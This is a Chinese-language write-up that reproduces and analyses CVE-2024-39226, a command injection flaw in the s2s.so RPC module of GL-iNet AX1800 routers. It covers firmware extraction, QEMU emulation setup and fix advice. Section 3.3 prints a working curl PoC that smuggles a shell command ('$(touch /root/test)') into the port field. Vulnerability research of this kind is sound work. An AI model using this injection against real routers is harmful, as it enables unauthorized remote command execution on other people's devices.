GL-iNet 路由器 CVE-2024-39226漏洞复现
字数 1395 2025-08-29 22:41:10
GL-iNet路由器CVE-2024-39226漏洞复现与分析
1. 漏洞概述
CVE-2024-39226是GL-iNet路由器中的一个RPC漏洞,存在于s2s.so模块中,允许通过精心构造的请求实现命令注入攻击。该漏洞特别危险,因为它可以通过网络接口触发,可能导致远程代码执行。
2. 环境准备
2.1 固件获取与提取
-
下载GL-iNet AX1800固件:
https://fw.gl-inet.cn/firmware/ax1800/v4/openwrt-ax1800-4.5.16-0321-1711030388.tar -
使用binwalk提取固件:
binwalk -e openwrt-ax1800-4.5.16-0321-1711030388.tar -
确认文件架构为ARM架构
2.2 QEMU模拟环境搭建
2.2.1 下载预构建的QEMU镜像
从Debian Quick Image Baker获取armhf-virt镜像:
- 内核文件:
vmlinuz-3.2.0-4-vexpress - RAM磁盘映像:
initrd.img-3.2.0-4-vexpress - 虚拟磁盘映像:
debian_wheezy_armhf_standard.qcow2
下载命令:
wget https://people.debian.org/~aurel32/qemu/armhf/vmlinuz-3.2.0-4-vexpress
wget https://people.debian.org/~aurel32/qemu/armhf/initrd.img-3.2.0-4-vexpress
wget https://people.debian.org/~aurel32/qemu/armhf/debian_wheezy_armhf_standard.qcow2
2.2.2 解决常见问题
-
映像大小问题:
- QEMU要求SD卡大小必须是2的幂
- 将映像大小调整为32GiB
-
挂载错误:
- 确保正确挂载/proc和/dev文件系统
- 这些挂载点提供了与内核和硬件设备交互的关键接口
2.2.3 网络配置
- 在宿主机中搭建网卡,使QEMU和宿主机可以通信
- 配置QEMU虚拟系统的路由
- 使用net.sh脚本配置网络
3. 漏洞复现步骤
3.1 环境准备
-
将提取的squashfs-root文件夹上传到QEMU系统中:
scp -r squashfs-root root@192.168.100.2:/root/ -
挂载必要的文件系统:
mount -t proc /proc ./proc mount -t devtmpfs /dev ./dev
3.2 服务配置
-
启动nginx服务:
/usr/sbin/nginx -c /etc/nginx/nginx.conf -g 'daemon off;' -
解决常见问题:
- 手动创建缺少的文件
- 检查/etc/rc.d/S80nginx和/etc/uci-defaults/80_nginx-oui配置文件
3.3 漏洞验证
-
使用披露的PoC进行验证:
curl -H 'glinet: 1' 127.0.0.1/rpc -d '{"method":"call", "params":["", "s2s", "enable_echo_server", {"port": "7 $(touch /root/test)"}]}' -
检查命令是否执行成功:
ls /root/test
3.4 问题排查
-
RPC报错:
- 检查rpc.lua代码
- 确保ubus服务正常运行
- 启动ubusd服务:
/sbin/ubusd
-
Nginx日志分析:
- 检查/etc/nginx/nginx.conf配置
- 查看错误日志:
/var/log/nginx/error.log - 常见错误:
/var/run/ngx-ubus-proxy.sock failed或/var/run/fcgiwrap.socket failed
-
服务启动:
- 确保ubus和fcgiwrap服务同时启动
4. 漏洞分析
4.1 漏洞原理
- 漏洞位于s2s.so模块中
- 攻击者可以控制输入字符串(str)
- 端口号(port)被限制为正数且小于65534
- 但在字符串形式下,允许嵌入特殊字符如
$() - 当包含类似
7 $(touch /root/test)的字符串时,shell会执行其中的命令
4.2 代码分析
-
RPC处理流程:
- 创建会话管理
- 如果ubus.call调用成功则返回会话信息
- 失败则返回默认的本地会话(无会话信息)
-
关键限制:
- 端口号必须为正整数且小于65534
- 但字符串形式的端口号未进行充分过滤
5. 修复建议
- 对端口号输入进行严格过滤,禁止特殊字符
- 使用白名单方式验证输入
- 更新到GL-iNet发布的最新固件版本
6. 参考文献
- GL-iNet官方固件下载地址
- Debian Quick Image Baker文档
- QEMU官方文档
- OpenWRT相关技术文档